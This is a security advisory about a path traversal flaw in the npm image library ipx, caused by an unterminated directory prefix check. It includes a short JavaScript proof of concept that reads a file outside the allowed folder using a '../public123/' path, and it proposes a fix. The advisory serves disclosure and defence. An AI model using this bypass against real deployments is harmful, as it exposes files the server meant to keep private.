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GHSA-mm3p-j368-7jcr
No affected components available
Summary
The approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison.
PoC
- setup
mkdir ~/public123
move a png file under ~/public123 with name test.png
cd
npm i ipx
main.js
import { createIPX, ipxFSStorage } from "ipx";
const ipx = createIPX({
storage: ipxFSStorage({ dir: "./public" }),
});
(async () => {
{
const source = await ipx("../public123/test.png"); // access file outside ./public dir because of same prefix folder
const { data, format } = await source.process();
console.log(format) // print image data
}
{
try {
const source = await ipx("../publi123/test.png"); // forbidden path: the prefix is not the same
const { data, format } = await source.process();
console.log(data)
} catch (err) {
console.log(err.message) // Forbidden path:
}
}
})()
node main.js
png
Forbidden path: /../publi123/test.png
Impact
Path Traversal
Possible Fix
Check if the dir ends with / (path separator) and if not, add before calling startsWith
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.
Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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